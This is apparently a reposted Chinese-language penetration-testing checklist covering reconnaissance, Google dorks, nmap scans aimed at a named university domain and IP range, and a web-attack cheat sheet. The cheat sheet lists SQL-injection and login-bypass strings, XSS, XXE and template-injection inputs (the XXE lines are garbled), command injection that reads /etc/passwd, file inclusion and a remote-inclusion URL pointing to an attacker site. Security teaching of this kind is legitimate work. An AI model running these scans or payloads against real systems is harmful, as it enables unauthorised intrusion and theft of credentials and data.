渗透测试流程

 

• 1.信息收集

---

 

• •  确认目标 -----域名信息相关工具 

whatweb -v http://www.xxx.com

         whois  http://www.xxx.com

• •  DNS信息查询
    • • • 使用linux自带命令dig/加上网站https://dnsdumpster.com/自带tracerote，
  •  测试域传送：域传送是一种DNS事务，用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启，但 是还是应该确认一下。一旦存在域传送漏洞，就意味着你获取了整个域下面所有的记录。

• • • • • dig -t NS syu.edu.cn +short
        • dig -t AXFR syu.edu.cn @xxx
        • dig -t AXFR syu.edu.cn @xxx

• • 公开情报收集+google hacking语法
    • • https://www.exploit-db.com/google-hacking-database/谷歌黑客数据库
      • email信息
        • site:202.199.32.0/24 查找子域名
        • intext:公司名称+email**
        • email**@公司域名
        • site:xxxx.com intext:*@xxxx.com //得到N个邮件地址，还有邮箱的主人的名字什么的
        • site:xxx.com intext:email
        • site:xxxx.com intext:电话 //N个电话
        • Intext:Poweredby Discuz //版本信息
        • Cache:xxx.com //缓存
      • 网站信息
        • 查找后台地址：site:域名inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
        • 查找文本内容site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username
        • 查找可注入点：site:域名 inurl:aspx|jsp|php|asp
        • 查找上传漏洞：site:域名 inurl:file|load|editor|Files
        • 找eweb编辑器：site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
        • 存在的数据库：site:域名 filetype:mdb|asp|#
        • 查看脚本类型：site:域名 filetype:asp/aspx/php/jsp
        • 迂回策略入侵：inurl:cms/data/templates/images/index/

• Maltego:交互式的数据挖掘工具。
• Theharvester：从不同的公开资源中收集邮箱、子域名、虚拟主机、开放的端口/主机指纹和员工姓名等信息 。
  • •  theharvester -d syu.edu.cn -l 1000 -b google

---

 

2 端口扫描，服务识别，os识别

• • Nmap带服务识别和操作系统指纹识别的TCP/IP主机和端口扫描工具
    • 扫描前1000号tcp端口nmap 202.199.32.5
    • Ping扫描ip段主机 nmap –sP 202.199.32.0/24
    • 扫描指定端口 nmap –p 80，443 202.199.32.5
    • 扫描前1000号tcp端口，os指纹，服务 nmap –A 202.199.32.5
    • 扫描udp端口 nmap –sU 202.199.32.5
    • 扫描所有65535个UDP端口，并获取服务、OS指纹 nmap –sU –P- -A 202.199.32.5
    • 常见端口漏洞信息
  • 浏览器插件
    • User Agent Switcher 一款可以快速切换用户代理的Firefox插件
    • Wappalyzer 可以检测各种各样的网站所用的技术和软件组件的插件
    • FoxyProxy 代理切换插件

• Burp插件在网上找到的

• Retire.js (BApp) 用于检测版本落后的Javascript组件漏洞的Burp suite扩展
• Wsdler (BApp) 可以解析WSDL文件，然后测试所有的允许的方法的请求https://blog.netspi.com/hacking-web-services-with-burp/
• Python Scripter (BApp) 可以在每个HTTP请求和响应时执行一段用户定义的Python脚本

---

• 漏洞扫描

• Linux自带NIKto：有指纹识别功能的Web服务漏洞扫描器
  • • nikto -h http://www.syu.edu.cn -output ~/syu.edu.cn.html -Format htm

• •  burp测试可选内容
    • • 使用Intruder来模糊测试 User-Agent和Referer请求头，利用FuzzDB的字典。
      • 使用acunetix自动化扫描，
      • IBM 扫描漏洞
      • 注意错误页面
        • 数据库结构和服务器文件系统等信息
  • Burp Repeater：手工修改、重放HTTP请求的Burp模块 
    • • https://sqlwiki.netspi.com/#mysql

• • Sql注入：显示错误信息 

                           ' OR 1=1 – 1

' OR '1'='1

' or 1=1 LIMIT 1;--

     admin';--

• • • Xss：  

   "><" 

 

 

 

 

   " οnmοuseοver="alert('XSS')

 

 

• • • xml注入： Username = foo<

Username = foo

• XML实体注入(XXE)：

]>&xxe;

]>&xxe;

]>&xxe;

    ]>&xxe;

• 模板注入：攻击者利用模板的语法注入恶意代码。
  • https://portswigger.net/blog/server-side-template-injection

<%= 7 * 7 %>

{{ 7 * 7 }}

• 命令注入：用户注入操作系统的命令到Web应用程序并被执行，就发生了命令注入。

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

Doc=Doc1.pdf+|+Dir c:\

• 恶意重定向：当应用没有检查用户可控输入时，攻击者输入了恶意的URL并被应用接受时发生。

http://www.a.com?#redirect=www.fake-target.site

http://www.b.com??url=http://www.fake-target.site

 

• 本地文件包含(LFI):Web应用允许包含本地服务器端存在的文件.

http://vulnerable_host/preview.php?file=../../../../etc/passwd

http://vulnerable_host/preview.php?file=../../../../etc/passwd%00

• 远程文件包含(RFI):Web应用允许包含远程服务器上存在的文件。

http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page

• 逻辑漏洞:想要发现逻辑漏洞，你必须对目标非常了解。只有你对目标的功能都是怎么使用有了了解后，你才能推想哪里有可利用的地方。测试逻辑漏洞时，可以回想作为普通用户是如何使用Web应用的功能的，是如何一步一步完成各种动作的，然后你要做的就是不按照这些步骤来。

https://www.owasp.org/index.php/Unrestricted_File_Upload

http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/

 

 

---

4漏洞利用

• 利用xss
  • 工具beef平台
    • • https://null-byte.wonderhowto.com/how-to/hack-like-pro-hack-web-browsers-with-beef-0159961

• 利用sqli；工具sqlmap

 

• http://www.vuln.cn/1992

 

• 离线爆破密码工具；hashcat密码攻击

 

• https://www.alpinesecurity.com/blog/offline-password-cracking-the-attack-and-the-best-defense-against-it

 

• 认证绕过

 

• 尝试在一些脆弱的表单里输入：

 

admin' --

admin' #

admin'/*

admin' or '1'='1

admin' or '1'='1'--

admin' or '1'='1'#

admin' or '1'='1'/*

admin'or 1=1 or ''='

admin' or 1=1

• 跨站请求伪造(CSRF)：用Generate CSRF PoC来验证是否真的存在。

 

https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-

• Sql+xss+跨站+csrf+xml

http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/

https://www.owasp.org/index.php/REST_Assessment_Cheat_Sheet

• 安全加固 

https://cnodejs.org/topic/5a502debafa0a121784a89c3

 

09/11/2018

youyouii 

 

转载于:https://www.cnblogs.com/youyouii/p/9936349.html